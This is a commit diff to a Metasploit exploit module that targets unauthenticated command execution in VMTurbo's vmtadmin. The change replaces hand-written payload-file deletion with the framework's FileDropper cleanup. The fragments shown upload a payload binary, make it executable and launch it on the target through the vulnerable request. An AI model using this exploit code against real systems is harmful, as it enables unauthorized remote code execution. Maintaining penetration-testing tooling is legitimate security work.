Use FileDropper mixin to delete uploaded file

modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb

@@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
 
   def initialize(info = {})
     super(update_info(info,
@@ -123,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     File.open(file_name, 'wb') { |f| f.write(data) }
     unix_upload(file_name, data)
-    @to_delete = file_name
+    register_file_for_cleanup(file_name)
 
     request("/bin/chmod +x #{file_name}")
     request("#{file_name}&")
@@ -213,11 +214,4 @@ class Metasploit3 < Msf::Exploit::Remote
 
     unix_stager(@pl)
   end
-
-  def on_new_session(client)
-    return unless defined? @to_delete
-
-    print_warning("Deleting #{@to_delete} payload file")
-    request("/bin/rm #{@to_delete}")
-  end
 end